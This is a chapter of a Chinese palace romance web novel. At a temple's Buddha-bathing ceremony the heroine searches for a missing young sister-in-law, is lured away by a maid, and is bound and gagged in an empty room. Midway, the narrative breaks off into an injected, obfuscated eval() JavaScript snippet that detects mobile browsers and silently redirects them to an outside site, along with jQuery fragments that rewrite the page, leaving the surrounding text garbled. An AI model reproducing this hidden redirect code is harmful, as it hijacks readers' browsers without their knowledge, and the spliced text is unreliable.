15. 浴佛节(二)

作品:《春与人宜

    明顺帝二十四岁继位,彼时他封王不久,王府中仅有两位侧妃。


    一位是如今的皇后苏氏,另一位则是已故贵妃赵氏。


    登基大典前夕,苏氏意外晕倒,竟诊出喜脉,此乃新朝首喜,天赐吉兆。


    在群臣进谏下,明顺帝封苏氏为皇后,同时力排众议,封赵氏为贵妃。


    同年,登基大典一个月后,贵妃赵氏遇喜,后产时血崩,诞下二皇子便薨逝。


    两位皇子年纪相仿,明顺帝待他们不偏不倚,既亲自指点功课,又时时赏赐珍宝。


    而崔家,崔思莹的祖父当年尚未入政事堂,曾在崇文馆出任学士教导皇亲贵族子弟。


    任职第一天,就碰到了二皇子意图捉弄太子不成,反而自己被烛台烫伤,在手腕上留下一块疤。


    崔阁老吃了挂落,崔家内部自认倒霉,私下念叨了好些日子,小小的崔思莹便也听了满耳朵。


    崔思莹从未见过皇子真容,但惊鸿一瞥间看到那个男人手腕上极明显的疤痕,加上其非富即贵的衣着,当即便知晓了他的身份。


    这些她不好与葛春宜细说,二皇子不好相与,望她能回府后与裴世子通气,自有裴家护着她。


    葛春宜虽然知道了男人身份,但她对皇家之事一无所知,顶多也就在坊间听说,皇帝对二皇子十分关爱,还未及冠便封王赐府。


    不过太子贤明仁德,声望极高,极少有人关注二皇子。


    走回到香炉广场时,场上摆了数条黄布覆盖的长桌,桌上置嵌宝金盆,盆中放着红木雕成的佛像。


    官眷们一一行至桌前,用长柄杓舀盆中香水从佛像顶部淋下沐浴,而后虔诚礼拜,默念祈愿。


    长桌尽头站着一位清瘦的黄袍僧人,双眸低垂,周身散发宁和禅意,每走过一位贵人,便合掌念诵佛偈。


    众人皆恭默守静,不敢大声喧哗,整个场面庄重静穆。


    边走着,葛春宜轻声问道:“哪位是长公主?”


    崔思莹望去一眼,今日长公主衣着简素,不如往日隆盛,气度却依旧雍容不迫。


    她同样放低了声音:“……黄袍僧人是慧弘大师,他身侧站着的便是庆淑长公主。若担心灵扬,不如求长公主派人在寺里寻找。”


    葛春宜叹了口气:“待浴佛仪式完成吧。”


    崔思莹温言安慰道:“灵扬瞧着很是机灵,贪玩是孩子心性,只要没出寺院,不会有事的。”


    “借你吉言。”葛春宜有些沮丧,第一次带着夫家弟妹出门,便把其中一个弄丢了,实在不安。


    裴灵扬这个小滑头明明身上有伤,偏如此有精力东窜西跳的,葛春宜暗自磨牙,等找到人了一定要狠狠说她一顿。


    宋云岫几人站在人群外侧,时不时翘首以盼,终于见到她们,迎了上来:“没找到?”


    葛春宜摇头。


    宋云岫道:“估计是跑去别的地方了,现在我们也不好在寺里随意走动……”她想了想,弯下腰问裴灵恒,“灵恒,你可看清那人确实是你阿姐了?”


    裴灵恒抿着唇点头,脸上颇有几分欲言又止。


    葛春宜问他:“灵恒,你还知道什么?”


    裴灵恒点点头,又摇摇头,稚嫩的脸上满是为难:“……阿姐不许我说。”


    “那……”葛春宜思索了一会儿,“你觉得她不许你说的事是大是小,是好是坏?”


    裴灵恒垂眼,纠结好半晌:“……坏事。”


    葛春宜眉头微动,以她对裴灵扬的粗略了解,也许就是打架了,受伤了,偷溜出去玩了。


    她又问:“那你认为应该说出来吗……或者,你想说吗?”


    裴灵恒死活不吭声了。


    崔思莹看出点什么,看了眼宋云岫,“我们先去浴佛。”


    二人走远,银杏见状也避开几步。


    裴灵恒紧张的肩膀微微松下来,抬起头快速地觑了阿嫂一眼,“……今日福宁郡主肯定也在,阿姐应当会去找福宁郡主。”


    福宁郡主是长公主次女,亦是嘉乐郡主小妹,年岁与灵扬相当。


    葛春宜眨了眨眼,等了半晌没等到下文。


    没了?


    她失笑:“这为何是坏事?”


    裴灵恒又沉默了,但这次他主动说道:“……长公主心思不明,裴家只做纯臣,不涉权争,万不能与她沾上关系。”


    “……”葛春宜瞠目结舌,一度以为自己听错了。


    他说话时的语气老气横秋,其含义也不是八岁小孩能说出来的。


    好在,他接着解释道:“是我不小心听到父兄书房谈话……”


    “但在京都这些日子,阿姐只与福宁郡主玩得最好。”


    过了最初的惊讶,葛春宜问他:“你没有将这件事告诉侯爷和世子?”


    裴灵恒面上有些羞愧,“……父亲不会允许阿姐再与福宁郡主来往,阿姐……阿姐也不会听从父亲之命。”


    几乎可以预见府中会闹个怎样的鸡飞狗跳……父女相争传出去对侯爷也不利。


    “或许……可以单独告诉你兄长?让他从中调和。”


    裴灵恒一怔,手指揪了下衣袖,沉默地摇了摇头。


    葛春宜作为半个裴家人,这会儿也深觉此结难解……裴徐林对弟妹不甚热络,甚至是漠不关心,而尹姨娘在侯爷面前向来谨小慎微,凡事皆以侯爷为尊。


    视线往下,圆溜溜的脑袋耷拉着,颇有些失落,她疼惜地摸了摸。


    年纪小小,心思却极细腻。


    葛春宜回想她八岁时估计还在巷子里和一众玩伴爬树呢……想得最远的便是等过年一定要向母亲多讨些压胜钱。


    “好啦,既然如此,我也不必太过忧心灵扬了。”葛春宜语气上扬,笑眯眯的,拉起灵恒的手,“多谢灵恒愿意将此事告知阿嫂,不要丧着脸了,你,灵扬和小郡主都是孩子,万没有你想的那么严重。”


    “现在——我们要挥除杂念,虔心浴佛,走吧!”


    ……


    浴佛仪式完满结束,长公主请慧弘大师移步禅室继续为她讲经解惑。


    她含着淡笑,对官眷们颔首致意,“斋堂已备好素膳,各位移步自便即可,本宫尚有几处佛理需向大师讨教,先行一步。”


    慧弘大师垂眸合掌念了声佛号,跟在长公主身后一同离开。


    宋云岫问道:“你不请长公主帮忙寻人了?”


    葛春宜:“不用了。”


    宋云岫看了看这一大一小,嘟囔:“神神秘秘的。”


    到了斋堂,葛春宜笑起来,看到了母亲的身影,她拉着裴灵恒过去,简单介绍一番。


    男孩乖巧知礼,看着内敛,说话却极贴心,很叫郑蘅喜爱。


    随意用了点斋食,葛春宜趁机把小孩托给母亲照看,银杏在旁随侍,她则一身轻松地走了。


    宋云岫和崔思莹不知去了哪,她也没


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15650272|172579||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    刻意去寻,既然初次来此,想着先参观游览一番,顺便到几座宝殿参拜献些香火。


    悠哉悠哉逛完了宝阳寺的二进院,绕过大雄宝殿往后便是第三进,只有一座菩萨殿,所以来这处的人很少。


    这时一个步履匆匆的紫衣侍女跑来,恭敬问道:“敢问可是定远侯府世子夫人?”


    葛春宜奇道:“是我。”


    侍女略松了口气,脸上露出笑:“太好了,福宁郡主请您移步客舍。”


    葛春宜眨眼:“福宁郡主为何寻我?”


    “您、您一去便知。”


    葛春宜不为所动,兀自走自己的。


    侍女连忙跟上,欲言又止,见实在没办法了便走近轻声道:“是……灵扬姑娘找您。”


    葛春宜停下来,认真打量侍女一眼,笑道:“灵扬为何不自己来找我?”


    侍女更为难了,脸上有些复杂,吞吐道:“她……她在抽陀螺玩,说走不开。”说完这句她都显得轻松了许多,从袖里掏出一枚穗子,正是裴灵扬今日衣饰上的。


    “灵扬姑娘还说,您要不想去就算了,她正好再玩会儿。”


    “……”葛春宜露出一个假笑,“带我去。”


    “小郡主和二姑娘在后面的园子里。”侍女带她一路往东长廊走,远远的确实能看见长廊尽头有张月门。


    旁边房舍虽多却都安安静静的,悄无声息,看起来无人居住。


    侍女解释道:“这边是僧房,这会儿僧人们应在静修堂念佛。”


    “原来后面还有园子,难怪先前没找到她。”葛春宜无奈一笑,“你是福宁郡主身边的人?”


    紫衣侍女一顿,“奴婢来自长公主府上。”


    “长公主府……你们府里的人都同你一样,对宝阳寺僧人的作息如此熟悉吗?”


    葛春宜停下脚步,眉头微蹙。


    侍女转过身,神色自若,弯唇一笑,“世子夫人说笑了,奴婢蒙幸被牌来宝阳寺侍奉各位贵人,自然要将此间事务了解清楚。”


    她说的话没什么问题,葛春宜眉头更深,但就是感觉哪里有古怪。


    此情此景下,葛春宜更愿意相信自己的判断,她抿紧唇,转身就走。


    还未来得及动作,身后突然一阵风扑来,紧接着她就被一个男人紧紧束住,嘴里也被塞了一大团不知哪里来的碎布。


    葛春宜挣扎无用,便歇了力气,狠狠瞪着那个气定神闲的侍女。


    “一点小小的惩诫,不会伤及您的性命。”侍女轻飘飘地落下一句话,施施然走了。


    身后的陌生男人扯开旁边一间屋舍的房门,屋子里到处都是灰尘,家具也都破旧不堪,显然空置已久,哪里是什么僧房!


    男人利落地把她手脚束住绑在房柱上,锁门离开,全程葛春宜都是背对着他。


    嘴被堵得严实,脸上都开始发酸,胸膛起伏呼吸急促却无法大口喘息,有那么一瞬间,葛春宜感觉自己快要晕厥过去。


    她脑袋往后靠在柱子上,闭上眼缓了片刻,冷静下来。


    不管是谁,不管想做什么,现在都不重要了,摒去这些杂念,她要先逃出这个房间。


    还好没有被发现……


    葛春宜手腕绕过柱子被紧紧捆住,整个人是背对紧贴着柱子,小臂附近有个硬物硌得皮肉生疼,却叫她多出几分勇气和安心。


    ——中衣袖子上缝的暗袋,里面藏着裴徐林赠予她的短刀。